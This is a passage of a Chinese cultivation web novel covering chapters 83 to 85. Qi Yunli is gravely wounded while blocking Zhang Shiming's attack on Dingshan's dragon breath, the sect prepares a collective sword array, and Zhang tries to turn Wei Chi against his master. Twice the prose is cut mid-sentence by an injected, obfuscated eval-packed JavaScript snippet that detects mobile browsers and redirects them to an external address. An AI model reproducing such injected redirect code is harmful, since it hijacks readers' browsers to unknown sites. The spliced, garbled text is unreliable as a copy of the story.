两边的冬青和谭明诗无话可说,原本做好充足准备,结果那两人大吵起来。 她们又不能帮忙吵架,只好沉默以对。 前后左右都听到吵架,一时感慨万千。虽然大吵特吵,但他们又在分析局势。 无根海尚在时,真龙遨游于天地间,那时人人都不担心,即使还有诸多不顺,也不至于有灭顶之灾。无根海消失后,真龙销声匿迹,修道人士想出种种办法,也没能解决问题。 于是人们头顶的伞便破了一个洞,谁也不知道哪天会有倾盆暴雨淋下。再怎么偏远,也逃不出灭顶之灾。 他们都希望真龙重现人间,可等了几百年依然虚无缥缈。 当前即使有人化龙,也无法扭转局面。 毕竟曾经不是只有一条龙,而是一群龙。 鼎山弟子学习化龙,就抱着那种幻象,希望自己以龙形飞天,天下再也没有人为此焦虑。但时间一天天过去,越来越像一种空想。 修为高深之人花费数百年都没能成功,怎么他们就可以? 他们越来越觉得希望渺茫,毕竟自己只是平平无奇的修道人士。 可这时青湖师叔跟张师铭吵起来,气势汹汹、证据确凿,旁边站着个三渺宗人也无法反驳。三渺宗是名门正派里的老大,很多人都得看那边脸色。 如今三渺宗不反对,似乎就说明化龙真如青湖师叔所说。 虽然那是吵架,可又不止吵架。 同样的道理不是没人说过,但鼎山长老一人说出来,别无旁证。 此时青湖师叔说出那些话,帮化龙之人恢复的人和三渺宗人都没有反对,也就是说此言为真。 鼎山弟子听得精神百倍,不过卫池在忙上忙下。 虽然那两人只是在吵架,但飞泉院却迎来很大变动,此地布局一变,就会影响整个鼎山。卫池知道张师铭不会光说不练,既然吵得凶,那么下手绝对不会软。 隔壁吵翻天,这边就忙得焦头烂额。 孙峥湖跑来跑去,到处传达情况。 卫池则要时刻留意龙息变化,这里的龙息状况更接近鼎山禁地,却又对鼎山上下都有影响,稍有不慎就可能导致难以挽回的后果。 之所以外人不能轻易踏足飞泉院,就是因为容易造成恶劣影响。 恶劣影响之前不明所以,但是现在很明显。 飞泉院的气息一乱,容易带动周边跟着乱。这一带乱了,那么鼎山上下都不得安宁。之所以让罗白音坐镇飞泉院,就是因为只有她在这里,才没人敢胡来。 然而现在她退居二线,那边就吵得不可开交。 鼎山弟子原本是来防止青湖师叔出事,结果发现可能出事的是自己。 虽然吵架内容听得精神百倍,但孙峥湖传达的消息是大事不好。 罗白音只是坐在那里,但眉头紧皱,隔壁的吵架实在太过凶险。 最后她只能盯着孙峥湖,一旦有什么事,他的反应绝对最快。 一边吵翻天一边忙翻天。 在孙峥湖跑完十个来回时,他突然泪流满面。 罗白音瞬间就知道出事,马上交给卫池一个抱仙果。 那是鼎山掌门留下来的东西,她一直待在飞泉院,所以没必要用。 ——如今总算是用得上。 隔壁吵架骤然停止,然后传来冬青的大喊:“你干什么,她身体本来就不好!” 接着传来张师铭的几声咳嗽:“贸然动怒有害健康,今日只能到此为止。” “修道人士也要注意身体啊……”谭明诗略微叹息。 始终没有出现齐云鲤的声音。 四周鼎山弟子一听就知道大事不好。 ——难道吵架吵到直接气死? 冬青扶着齐云鲤问:“你怎么了,没死就说句话啊?!” 刚才吵着架她突然一声不吭,还倒在椅子上,双眼紧闭。 在场没人动武,但她仿佛身受重伤。 虽然罗白音事先叮嘱过情况凶险,但冬青实在没想到还有这种事。 在她喊了两三声之后,齐云鲤才慢慢抬起右手,朝外一指。 即使没有任何言语,冬青也明白是什么意思。 于是她马上就让那两人离开,他们再莫名其妙也只能离去。 张师铭和谭明诗走出房间,房门一关,齐云鲤就喷出一口血。 鲜血直接溅上木墙,然后缓缓流下。 “我不行了……”齐云鲤嘴角留下血迹,奄奄一息。 83. 物极必反 鼎山并非自然形成,而是人为堆出来的。 因此天然就跟四周环境不相融,周围乌烟瘴气、鱼龙混杂,鼎山就是突兀的钢筋铁骨。劈开那一带的混乱,也带来全新威胁——龙息。 为了避免被四周影响,鼎山上下都有龙息。 龙息对妖魔鬼怪来说,就是天然屏障。毕竟再怎么高深,也躲不过龙息压迫。 但即使让人不适,鼎山中人也必须适应龙息压迫,适应不了的只能跟妖魔鬼怪为伍。 龙息既是压迫,也是保护。 如果你能对抗迎面而来的攻击,那么灭顶之灾也能变成惊天一剑。 龙息是灾也是力,就是这么回事。 鼎山充满龙息,也有这个用意。 龙息主要储藏在禁地,飞泉院则是调整龙息的枢纽。 外人不能走进飞泉院,其实是保障鼎山龙息平稳。 一旦动了飞泉院,就会牵涉整座鼎山。 这次张师铭和谭明诗来到飞泉院,龙息稳定自然不再有。 齐云鲤跟张师铭吵架,其实是在对龙息状态的干预。龙息状态至关重要,稍有不慎就可能导致山崩地裂。 套出情报都只能算下乘,龙息状态的争夺才是重点。 因此两人吵起来,而且还条理清晰,仿佛是在举例说明。 此时的吵架其实就是在说理,对方有没有接受无所谓,龙息会不会因此受到影响才重要。龙息能影响人,人也能影响龙息。 若自己都搞不清是在说什么,那么局面很可能不可控。 其他人以为他们只是在吵架,其实双方已经斗得不可开交。 最后张师铭无法以理取胜,便以泰山压顶之势袭来。他要将飞泉院龙息彻底打乱,齐云鲤迫于无奈只能肉身挡住攻击。 因此她双眼紧闭,气息奄奄,张师铭低声咳嗽。 攻击被阻拦,出手之人必定受到影响。 但齐云鲤不能声张,只能伸手示意。等那两人离去,房门彻底关上,她这才喷出一口血。为了憋住这口血,她可是能忍的都忍了。 好不容易才假装无事发生,绝对不能前功尽弃。 在她的伪装下,张师铭也搞不清真实状况。 毕竟他无法理解还有人做出这种事。 对他来说,无论如何受益者都只能有自己。 明明以势不可挡之力出击,飞泉院却若无其事,这连匪夷所思都无法形容。 即使那个青湖靠在椅子上,双眼紧闭不再说话,但谁知又有什么手段。 之后她伸手示意让他们出去,估计就是吵不过就假装病弱。 张师铭还咳嗽几声,结果对面直接伸手赶人,他气得转身就走。 走出飞泉院的两人谁也不知道室内已经乱成一团。 李宜敏将毕生所学最强劲的阵法铺在齐云鲤周身,稳住气息,然后大喊:“全都散开,不要抢夺她周围的气!” 陆顷己马上根据青湖师叔的状况调整阵型,另外两个鼎山弟子则赶紧调制出相关药剂,以此来稳住局面,毕竟功法救人难以持久。 宋安合依然在外面稳住布局,之前过于凶险,幸好张师铭两人已经离开。 卫池赶到齐云鲤身边,只见她面色惨白,气息奄奄,明显就快断气。他将抱仙果递给冬青,她是龙息化身,对此自然更加熟悉。 冬青明显一喜,然后就让抱仙果在手中化为缭绕云烟。 那些细若游丝的天地之力慢慢渗透进齐云鲤身体,虽然她仍未苏醒,但周身气息已经稳定。 “人救回来了!”冬青大喊一声。 众人松了口气,鼎山弟子这才虚惊一场,而卫池庆幸总算没有重蹈覆辙。 一次又一次见证鼎山灭门,如果还要见证齐云鲤丧生,那就真的无法承受。 她出现在此,其实完全没必要,只要将相关事情交代清楚就行。 化龙本就消耗精气神,好不容易回到鼎山,自然是休息为上。 身体状况还没完全恢复,就贸然行动,风险太大。 她还出现在飞泉院,跟张师铭正面对抗,这是极其冒险的。 卫池在隔壁忙来忙去,也只是对飞泉院略有帮助。 救命恩人和不共戴天的仇人斗法,他却无法干涉。 之前还怀疑剑阵之事自己能否承担,现在看来必须承担。 如果他不出面,齐云鲤则还会发生类似损伤。 坚持对抗面具人的是他,那么接下来依然由他来对抗张师铭。 经历近百个轮回也没能分出胜负,那就该由他来跟张师铭决一死战。 其他人起到辅助效果就行,毕竟这一战不是终点而是起点。 天寒地冻、寒风刺骨并非走到尽头,而是为了来年春天万物复苏。 众人并不清楚龙息状态,还以为青湖师叔是吵架吵成这样的。 之前感觉她头头是道,没想到代价这么大。 听她口若悬河、滔滔不绝,结果转眼就吐血倒地。 还好准备充分,不然救都救不回来。 旁人不了解鼎山龙息情况,罗白音可是一清二楚,于是便趁机跟众人解释起来。鼎山龙息储存于禁地,飞泉院就类似仓库大门。 如果有人破坏大门,那么鼎山上下就会被龙息覆盖。原本只在龙骨论战发生的事,会从早到晚持续存在,再也没有人能在鼎山呆下去。 众人能如常呆在鼎山,全因为禁地。 禁地冰天雪地是为了鼎山春暖花开,即使没人喜欢,但谁也离不开那里。 之所以不让外人进入飞泉院,就是因为风险太大。 禁地储存龙息,飞泉院则管理龙息,一旦管得不好,则鼎山上下只剩龙息。 事情发展到现在,如果还不知道鼎山风险有多大,那就没有活路。 青湖倒地不起就是因为帮飞泉院挡住致命一击。 罗白音严肃地说出这件事,众人哑口无言。他们以为只是在吵架,没想到还有这种事。 事情太过严重,任何人都没有办法。 这已经不是个人恩怨,而是关系到所有鼎山中人的存亡。 稍有不慎,就是灭顶之灾。 表面上的普通争吵,其实背后还有这种事。 众人不免觉得张师铭此人太过穷凶极恶。 不过知道这件事的卫池并没有轻松。 虽然不是被自己连累,但后果过于惨重,他也无法释怀。 张师铭远超邪魔歪道,如果将止水宗与他相比,都是看不起他。 仿佛芸芸众生对他来说就只是渺小蝼蚁,无关紧要、不值一提。 鼎山灭门因他而起,但估计远不止于此。 只要他还有一口气,那就谁也别想活——即使躲在偏远洞窟他会要将你赶尽杀绝。 九炼洞窟众人就是如此。 卫池不知道太多,只能说张师铭对龙息相当熟悉,那就从此入手。 既然想借龙息之力恢复,那就看他能否承受龙息乱象。 毕竟龙息是力也是灾。 鼎山青湖卧床休息,其他人则分头行动。 负责医疗的李宜敏等人被抱仙果功效震撼,纷纷跟冬青礼貌请教。宋安合还在外面稳住飞泉院局面,不过得知青湖师叔已经获救便松了口气。 孙峥湖一边处理烦杂琐事,一边将鼎山龙息情况汇总整理。 卫池知道齐云鲤已脱离生命危险,便跟罗白音商量接下来的事。 “他们这次没有得逞,接下来必定还有动作。” “剑阵的事由你来引导,能确保万无一失吗?”罗白音问。 虽然之前只有简短几句对话,但经过刚才那件事已经明白—— 死里逃生的人炉和飞泉院老大只可能是一路人。 既然如此,一致对外就行。当前局面复杂,只能赶紧商量对策。 卫池说出要求:“鼎山龙息我还需要更详细的情报。” 罗白音见他态度坚定,便将孙峥湖也叫来:“龙息的事我跟你们两个都说一下,整理过后你们就不能浪费这个情报。” “你负责告知所有鼎山弟子,”她先指着孙峥湖说,然后看向卫池,“你能用来打姓张的就行。” 说出这两句话,实际就是分派任务。 卫池和孙峥湖各自负责一项,后续情况怎么样,全看他们的执行力度。 虽然任务艰巨,不过之前已经有人差点断气,也就不算什么。 “龙息是灾也是力,这里的龙息也指鼎山龙息。之前让你们提心吊胆,之后或许就能帮你们披荆斩棘。”罗白音说出对比。 龙息是灾也是力,这件事已经不稀奇。 但鼎山龙息既是灾也是力,就有点意想不到。 毕竟鼎山开山至今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328311|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就没有出现过龙息之力那种东西。 人人都被龙息压迫,没人能趁机利用。 罗白音的话都有点异想天开。 不过事已至此,再匪夷所思也合情合理。 卫池只是问:“龙骨论战时的鼎山龙息也是如此吗?” “只要跟真龙一路,龙息就跟你一边。”罗白音强调。 既然这样,那么龙骨论战就是运用鼎山龙息的大好时机。 或许灭门惨案也能因此挡住。 “怎么一路?”卫池有些疑惑。 罗白音指着床上的齐云鲤说:“到时候她会化龙。” “估计张师铭也会。”卫池谨慎说出猜测。 罗白音点明:“所以到时不能让龙息为他所用。” 龙息不能为张师铭所用,那就要为鼎山所用,而他只能承受龙息之灾。 “龙息可以成为鼎山之力,以及他的灾?”卫池问。 罗白音点头:“必须这样。” 卫池和罗白音说得孙峥湖都有点迷糊,他想很久才反应过来。 既然龙息是灾也是力,那么鼎山之前承受龙息之灾,之后就能发挥龙息之力。 承受数百年龙息之灾,用几天龙息之力也不为过吧? 而他要做的就是把这个消息告知所有鼎山弟子。 之前还觉得匪夷所思,但青湖师叔挨打完就打开新局面,正是最佳解释。 “……要通知掌门吗?”孙峥湖只是问。 之前吵架时双方都说出太渊真人,既然这样那他就不能置身事外。 太渊真人虽然不理鼎山大小事务,但事关鼎山存亡他就不得不管。 毕竟他也是鼎山中人,如果家都让人砸了,那就一无所有。 “我来通知就行,你不用管。”罗白音转头瞟了一眼窗外。 太渊真人闭关修炼的地方在鼎山后山,从飞泉院可以直接过去。 孙峥湖看了看就问:“要我去请吗?” 她虽然没有瘫痪,但后山地势险要,风险有点大。 罗白音掏出一封信函,递给孙峥湖:“你去后院把这封信烧了就行。” 信封上写着“太渊真人亲启”,是她的字迹。 虽然鼎山掌门自由散漫,但罗白音很早就做好准备,随时都能联系他。 就算鼎山灭门,那封信也能在瞬间烧掉。 即使遍地尸骸,但鼎山掌门能及时赶回来。 ——只不过实际由此引发更大麻烦。 不过没有那些麻烦,也就没有今天还生龙活虎的众人。 龙息是灾也是力,或许也指向这里。 众人各自忙碌去,齐云鲤睡到傍晚才醒。 冬青发现她睁开眼就大喊:“活过来了!” 齐云鲤刚想说她还没死,就看到罗白音坐在床边。醒来看见这个人基本没好事,于是她想了半天恶劣后果。 最后实在想不出来,就听到罗白音说:“吵成那样,他当然要打你。” “难道我还有错?”齐云鲤气不过。 罗白音很和气:“你吵得对,不过下次先做好准备,以免一命呜呼。” “我还能做什么准备?”齐云鲤十分疑惑。 “不是你做准备,是我做准备。”罗白音难得一见地说。 对于她这种能把人弄得跪地求饶的角色,必然不会妥协。 因此罗白音的准备基本能要人命。 不过齐云鲤刚刚苏醒,还没反应过来是什么事,就看到卫池过来问候:“师父好,你注意身体,弟子与罗师姐一起跟青滔师伯商谈剑阵的事。” 言辞过于冠冕堂皇,齐云鲤不禁怀疑起来。 “你们还能说什么?” “对外人略施惩戒。”卫池说得相当客气。 齐云鲤见罗白音在旁边点头,就知道绝对有大事,只是对自己没害。 于是她提出一个小小的建议:“铺设剑阵的时候能不能界限分明点,这样其他鼎山弟子能看清,也就能避免被卷入其中。” “如果你下手痛快,其他人就没有风险。”罗白音毫不客气。 虽然事实如此,但齐云鲤并不喜欢这话,搞得好像是自己连累他人。 由于她躺在床上,所以直接翻过身去说:“我睡了。” 对于这种态度,卫池并不意外,好歹醒过来就不用继续担心。 84. 漏洞 卫池和罗白音仔细讨论过剑阵一事,之前阵法中的鼎山弟子只起辅助作用,帮一人击败对手。 一开始在白鹭坪的时候就有这种效果,如果后来还是只有这种效果,那就大材小用。布阵之人多,那么出剑之人也要多。 来来去去只能帮一个人,还不如不布阵。 青滔的剑阵可不是为了方便自己打架,他也不需要这种效果。 他一把剑就能打穿三渺宗,还要帮忙干什么? 只有所有布阵之人都能出剑,那才有用。 就像之前鼎山弟子布阵挡住张师铭对龙息的掠夺一样,学以致用是要让他们在此基础上还能大展拳脚。 一人剑法高超又不能抵挡千军万马。 卫池不知如何做到此事,但罗白音知道,因此她会过去先跟青滔师伯说明。一个鲜少出门的人去白鹭坪强调此事,自然就知道分量不轻。 既然齐云鲤醒来,卫池确认没事就去白鹭坪。 昔日跟她一起去白鹭坪学剑,如今再去就是为了帮她减轻负担。 白鹭坪依然插满长剑,以前觉得那都是青滔自己使用的,如今看来这才是剑阵精髓。既然人人都能使用白鹭坪长剑,那么人人都能使用剑阵,而不只是化作其中一把剑。 成百上千道剑气都为一人使用,那只是借助剑阵之威。 若是每道剑气都能自行斩妖除魔,那才是剑阵本意。 一人剑法超群,不如众人都有剑意,毕竟不是擂台比武,而是两军对垒。 千军万马中的一人之力还不如路边野草。 青滔发现罗白音来到白鹭坪相当意外,毕竟前所未有也绝无可能。 然而她这时来到白鹭坪,还跟卫池一路,可见事关重大。 “什么事?”青滔认真发问。 罗白音简单回答:“剑阵之事。” 不过回答虽然简单,背后却藏得很深。 鼎山剑阵乃青滔所创,他说众人都能使用,但之前没人用过。 以至于所有人都将其当做徒有其表的东西。 如今要他教鼎山弟子剑阵之事简直不敢相信。 随之而来的似乎就有一个麻烦,这也合情合理。 “有什么问题?”青滔并不排斥,只是问。 罗白音说起另外一件事:“龙息是灾也是力,鼎山承受龙息压迫数百年,也该发挥龙息之力。” 青滔是为数不多知晓此事的人,所以知道她的话必定别有深意。 ——龙息之力跟剑阵有什么关系? 罗白音知道他在想什么,就说:“龙息之力也能化作剑阵之力。” 两个虚无缥缈的东西合二为一却可以劈山开石。 这种说法并非空穴来风,但青滔只想过剑阵的事,龙息之力太过遥远。 “我没想过……” “卫池想过,所以跟他合作就能用剑阵使出鼎山龙息之力。” 罗白音伸手介绍,卫池就颔首点头。 青滔见他们两人配合默契,就知道必定发生什么,此时卫池跟罗白音同时出现,却没有那个青湖,不禁让人怀疑。 之前鼎山龙息略有异常,似乎与此有关。 青滔怀疑起来:“他师父呢?” “她在飞泉院跟张师铭打了一架,现在正睡觉休息。”罗白音平淡地说。 青滔只关心:“打赢了?” 无论如何他关心的只有打架,罗白音无声一叹:“如果输了,你就要过去帮我们收尸。” 既然最后可能需要收尸,那当然就不是一般争斗。 不是打架斗殴,而是你死我活。 收尸的事青滔自然不想做。 “之前为何不叫我?”他明显不满。 在飞泉院动手可不是一般的打斗,基本都关系到鼎山生死存亡。 问题已经发现,怎么解决问题才是重点。 但是只有打架不能解决问题,毕竟现在不止单挑。 “你们分工合作,她开头你收尾,”罗白音强调,“龙息的事也与她有关。” 原本让青滔干这种费脑子的事,绝不可能成功。 但此事关系到龙息和剑阵,还有那个青湖,而且有卫池帮忙。 那么再不想面对,也不得不正面迎敌。 毕竟打架以外,还有打仗。 即将在鼎山发生的不是个人之力的较量,而是两军交战。 “你有把握吗?”青滔转头问。 卫池保证:“弟子绝不浪费师父抢过来的时间。” 既然已经确定即将开战,那么青滔也没必要犹豫,直接叫鼎山弟子过来学习剑阵。 卫池在途中不断解释说明,将龙息和剑阵的事说得明明白白。 那些鼎山弟子才听前辈说完飞泉院的事,就在白鹭坪打来打去。还有人分析优劣利弊,再怎么不开窍的人也明白即将发生大事。 他们不是围观群众,而是参与者。 之前以为张师铭是要抢夺鼎山龙息,现在看来还是想得太好。 龙息关系到鼎山,鼎山关系到天下。 看似在争夺力量,其实是想毁天灭地。 鼎山弟子发现问题很严重,相比之下青滔师伯的严苛就微不足道。 毕竟关乎天下苍生,而不止自己的小家。 因此他们在白鹭坪不止学到剑阵使用方法,还知道鼎山的重担和他们的责任。 再看张师铭,就实在不像正常人。 众人从白鹭坪学完回去,就一直在讨论这件事。 孙仲礼是新入门弟子,因此没有参与此事,但四周都在讨论张师铭的问题,他也不得不怀疑起来。 鼎山弟子嘴里的张师铭仿佛是十恶不赦的魔头。 他十分疑惑,卫池说张师铭不可信,齐云鲤又说作者不可信,现在鼎山弟子还说张师铭堪比罪大恶极的魔头。 ——怎么越来越严重? 张师铭是小说作者还是穿书者,总不至于罪该万死吧? 孙仲礼觉得鼎山弟子夸大其词,齐云鲤对作者有意见,感觉还是卫池最靠谱。漏洞和人的问题他也想不通,那就一起问个明白。 于是等卫池回房休息一段时间,门外就出现一个犹犹豫豫的身影。 孙仲礼壮着胆子走进玄镜池,又在木屋边绕来绕去。直到确定正门通往齐云鲤的房间,他才小心翼翼走到侧门外。 不过此时侧门关着,他不好意思过去敲门,就在门外走来走去。 卫池相当警醒,很早就发现有人来到门外。 但那个人始终在外面走来走去,也不知是要干什么。 齐云鲤还在隔壁休息,他不知道来者何人。一炷香之后卫池实在忍无可忍,就过去打开房门。 房门一开,孙仲礼就愣在外面,此时已是傍晚时分,天色似乎随着他的呆若木鸡愈发阴沉。 卫池本来准备教训那个外来者,不过发现是孙仲礼,态度就骤然缓和。 “天色不早,你过来有什么事?” “我想问你点事情……”孙仲礼低着头,有点犹豫。 卫池打开话题:“今日鼎山弟子去青滔师伯那边学习剑阵的事,不知道你清不清楚?” “我还学不了……”孙仲礼不好意思地说。 “我也没有学,只是在旁边看了一下。” 卫池说出这句话,他们瞬间就有了共同点,孙仲礼发现这件事相当高兴,总算不用再纠结共同话题。 于是他说:“他们回去说了很多张师铭的事,越说越吓人。” 卫池知道他是什么意思,就将今天另一件事说出来。 “今天张师铭去飞泉院,打伤我师父。” “……啊?!”孙仲礼震惊得都说不出话。 今天较早时间他都在专心修炼,回去就发现有一群鼎山弟子去白鹭坪学剑阵,再后来就听他们说张师铭的问题。 他实在没想到同一天还有这种事。 这么看起来,鼎山弟子的评价也就情有可原。 “……怎么会这样?”孙仲礼十分困惑。 卫池简单说明:“鼎山请他和谭明诗去飞泉院商量化龙一事,结果他跟我师父吵起来,最后就施法打人。” 化龙一事孙仲礼只是略有耳闻,并未参与。 ——谁知还能引起冲突。 “怎么会吵起来?” “他们在讨论化龙一事,”卫池微微一叹,“张真人说后续化龙只有他才行,我师父说鼎山弟子也行,然后就吵起来。” 鼎山弟子学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331802|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习化龙三年,张师铭帮助化龙之人恢复,感觉两边都有可能,不是谁输谁赢的问题。不过三年里鼎山弟子帮了孙仲礼很多,他个人更倾向于他们。 张师铭虽然也说过不少道理,但自己都弄不懂。 想到最后孙仲礼感觉他们吵得莫名其妙。 他只能问:“……怎么还打人?” “具体情况谁也不清楚,看起来就是张真人吵不下去,所以动手打人。”卫池说出猜测。 孙仲礼都有点目瞪口呆:“还有这么离谱的事?” 见他还不相信,卫池又加大筹码。 “吵着吵着我师父就无话可说,伸手让他们出去,他们离开之后她就喷出一口血。” 由于事关生死,所以他绝不可能儿戏。 此事千真万确,之后再跟其他鼎山弟子打听,也只有这个结果。 “还吐血?!”孙仲礼吓得脸都白了。 卫池语气平静:“已经救回来了,现在只是比较虚弱,正在休息。” 他伸手示意隔壁,孙仲礼就想起之前在外面看到那边的门也关着。 之前鼎山弟子说张师铭不好,他还觉得是危言耸听。如今齐云鲤都吐血倒地,他实在说不出什么。 以为大家都是穿书者,所以彼此有点交情。 ——结果还发展成这样? 孙仲礼不得不怀疑起来,虽然究竟怎么回事还是无法确定,可是对张师铭的信任已经削减很多。 “真是他干的?” “飞泉院掌管鼎山龙息,一旦那里乱了,鼎山上下就会只有龙息。”卫池解释。 他没有直说,而是说出鼎山龙息的事。 之前孙峥湖在鼎山弟子那边专门说过此事,孙仲礼虽然只是略有耳闻,不过印象很深。 鼎山四周环境复杂,只有山脚还算安宁。鼎山之所以能在这种乱七八糟的地方维持现状,就是因为鼎山龙息。 鼎山弟子人人都被龙息压迫,却不知道这种压迫也是保护。 一旦压迫消失,谁也不能对抗外界环境的混乱,最后可能会被搅进去。 孙峥湖说了很多,不过他只记得一个地方,就是龙息压迫也是保护。 回想发生至今的一连串事情,的确就是如此。 龙息情况可以基本确定,那么张师铭的动机就有点不可捉摸。 身为小说作者,不可能不知道这种事。 但他还那么做就实在有点…… 孙仲礼心中的张师铭一落千丈,仿佛学习榜样变成闹事的小混混。 过了很久,他才想起漏洞和人的问题。 之前觉得漏洞还算容易,现在看起来就有点可疑,毕竟人这边有鼎山弟子,漏洞那边也不清楚有什么。 孙仲礼虽然没有获得想要的答案,不过已经确定接下来的方向。 《长夜道枯》那本小说之前虽然很受欢迎,但是颇有争论,看书的人吵来吵去。孙仲礼不知道他们在吵什么,但那些人看起来格外认真。 之后因为看小说而发生一连串事,孙仲礼觉得比起小说作者,还是齐云鲤更靠谱。 眼下她跟小说作者发生明显冲突,还被打伤,他就只能离那边远一点。 人和漏洞的问题他还是不明白,不过齐云鲤和张师铭的问题已经得出答案。 小说作者可能跟以前班上那些人一样。 孙仲礼告别卫池,独自走回去。 前路漫漫,即使始终只有一个人也得好好走。 这天之后就没再发生什么,不过第二天大清早张师铭就来找卫池。 他看起来忧心忡忡,似乎很是愧疚。 张师铭皱眉问:“你师父身体还好吗?” “昨天略有不适,不过已无大碍。”卫池很客气。 张师铭长舒一口气,又说:“昨天我跟她吵起来,其实是发现点问题。” 以前双方始终说不到一路,都是你说你的,我说我的。 前几天有所好转,所以他要乘胜追击,把以前说不通的话再说一遍。 “以前我说神智的事,或许问题依然存在。” 曾经说出这件事就被阴阳怪气,不过这时卫池并没有表现出敌意。 只是皱起眉头,转头朝旁边看了一眼。 85. 大小骗 飞泉院一事发生时,卫池也在,因此张师铭不能对具体情况撒谎。 但当时有点奇怪,只是说到化龙一事就莫名其妙争起来。 那个青湖态度匪夷所思的强硬,都有点指责之意。 虽然叫他去飞泉院就不可能太平,但这种情况实在太过匪夷所思。 张师铭当然不知道事情起因,可其他人也不知道。 这件事他亲身体会,自然感受更深。 四周其他人再怎么熟悉,也只是听到他们争吵。 现场总共四人,谭明诗是他这边的,冬青是掌门私生女,除了胡搅蛮缠就一无是处。 真实情况自然可以胡编乱造,反正谁都没有证据。 隔壁房间的小说男主吵架声听得很清楚,但现场情况就一无所知。 师父倒地不起,再怎么样也该关心一下。 卫池转头查看的态度似乎是在提防什么。 于是张师铭问:“按理来说,青湖应该不是那种容易激动的人吧?” “完全不是。”卫池有点无奈,似乎很想不通。 “昨天我没说什么,她就激动成那样,显然不合常理。”张师铭说出关键。 卫池知道接下来会走到什么地方,因此只是低下头没说话。 既然有不合常理的地方,那就能大显身手。 “神智问题或许还不明显,但已经开始影响她的性情。” 张师铭说出这句话,卫池没有像上次那样下套,只是仍然低头不语。 毕竟这句话相当委婉,虽然到头来只有死路。 这种表现相当符合小说男主形象。 他经历大风大浪、生生死死,很多事只会沉默应对,再多反应都是徒劳。当你苦苦挣扎多次以后,就会发现无论如何都只是垂死挣扎。 也就没必要过多动作。 张师铭熟悉的形象近在眼前,这才松了口气。 在他看来,沉默寡言的人其实最好骗。 夺舍的具体表现因人而异,有时是完全变成另一个人,有时是行为习惯发生突兀改变,变到最后就彻底脱胎换骨。 那个青湖的表现与前者既然不同,但是与后者却极其相似。 张师铭不知道真正缘由是什么,但这么说反正不会有问题。 一个似是而非的猜测,说错也不会有人怪他。 面对这种质疑,卫池没有明确反对,只是很久之后才说:“我师父才回来,状态还不稳定,目前出现偏差也合情合理。” 虽然这么说,但是他的态度已经表明一切。 毕竟上次在医馆都能让人哑口无言,这次在玄镜池却无能为力。 张师铭觉得十拿九稳,此时的小说男主只是在无奈辩解,他再去那个青湖那边说几句,定能让他们的师徒关系土崩瓦解。 “你也不用太过操心,毕竟刚刚恢复,状态还不稳定,”张师铭相当善解人意,“这只是我的猜测,还没有任何依据。” 他明显就是要挑拨离间,但此时看起来特别温和。 卫池知道孙仲礼就是因此被蒙蔽,于是说:“那我先去晨练之地,张真人还是先回去休息吧。” 张师铭当然不会回去,他现在住的地方离这边很远,大老远跑过来自然要有明确胜算才行。 不过他还是说:“我在附近转转再回去,你就先去晨练之地吧。” 徒弟一走,卧病在床的师父就是砧板上的肉。 卫池当然知道他在想什么,但是隔壁的齐云鲤已经被抱仙果救回来,再次交锋,谁胜谁负还不一定。 于是他迅速离开,留给张师铭一个挨打机会。 齐云鲤其实早就醒了,只是想起昨天的惨状就倍感丧气。 她知道张师铭会动手,所以先让罗白音避开。不过完全没想到自己会吐血倒地,要不是准备充分,估计已经断气。 谁知道他下手那么狠,想打乱飞泉院龙息。 小说读者对此有过很多猜测,不过都指向一点。飞泉院位于禁地下鼎山上,必定有关键作用,而且鼎山弟子只是偶尔出入其中,不会长留。 鼎山灭门也是一路从山下来到飞泉院,可见那里相当神秘莫测。 这里最神秘的就是龙息,飞泉院肯定与此密切相关。 那些人对龙息和飞泉院有过一系列猜测,当时齐云鲤越看越觉得匪夷所思。不过昨天异常一出现,她就察觉会出大事。 这才挡住张师铭的攻击。 齐云鲤坐上床边一个轮椅,这是从罗白音那边借过来的。她在轮椅上有很多布置,坐在里面就什么也不用愁。 自己还气虚乏力,就先坐上去试试。 玄镜池木屋有台阶,那个轮椅竟然自行走过台阶,还有阵法避免齐云鲤因此碰撞滑落。虽然仍需要人力推动向前,但沿途各种路况轮椅都能适应。 齐云鲤坐轮椅来到池塘边,只能感慨怪不得罗白音坐着就不想起来。 此时还是早晨,卫池看起来已经去晨练之地,齐云鲤就坐在池塘边准备钓鱼。虽然知道里面没有鱼,不过施法变出几条也能打发时间。 她还在弄钓竿,旁边就传来人声:“见你没有大碍,我就放心了。” 这话出现得过于巧合,齐云鲤转头一看,发现后面站着张师铭。 虽然仇人相见分外眼红,不过昨天才吐血倒地,今天实在没力气。 齐云鲤只能假装腿脚不便,向后一靠才说:“昨天出事是你导致的吧?” “表面上看起来的确如此。”张师铭皱起眉头。 “……实际上呢?” “昨天在飞泉院的并非只有我们四个,”张师铭低头一叹,“那个房间只是发生异常的地方,而非起因。” 昨天张师铭和谭明诗来到飞泉院,虽然谈话现场只有四人,但里里外外都是鼎山弟子。幸亏人多,不然也救不回齐云鲤。 这时要将罪责推给他们,齐云鲤不知道要怎么做才好。 “难道还有外人闯入?”她只能这么问。 张师铭摇头:“不是外人,就是鼎山中人。” 齐云鲤想了一下,罗白音干不出这种事,冬青又在自己眼皮底下,其他人实在没有这个能力。 “……昨天还有谁?”她相当迷惑。 “唉,是小说男主。” 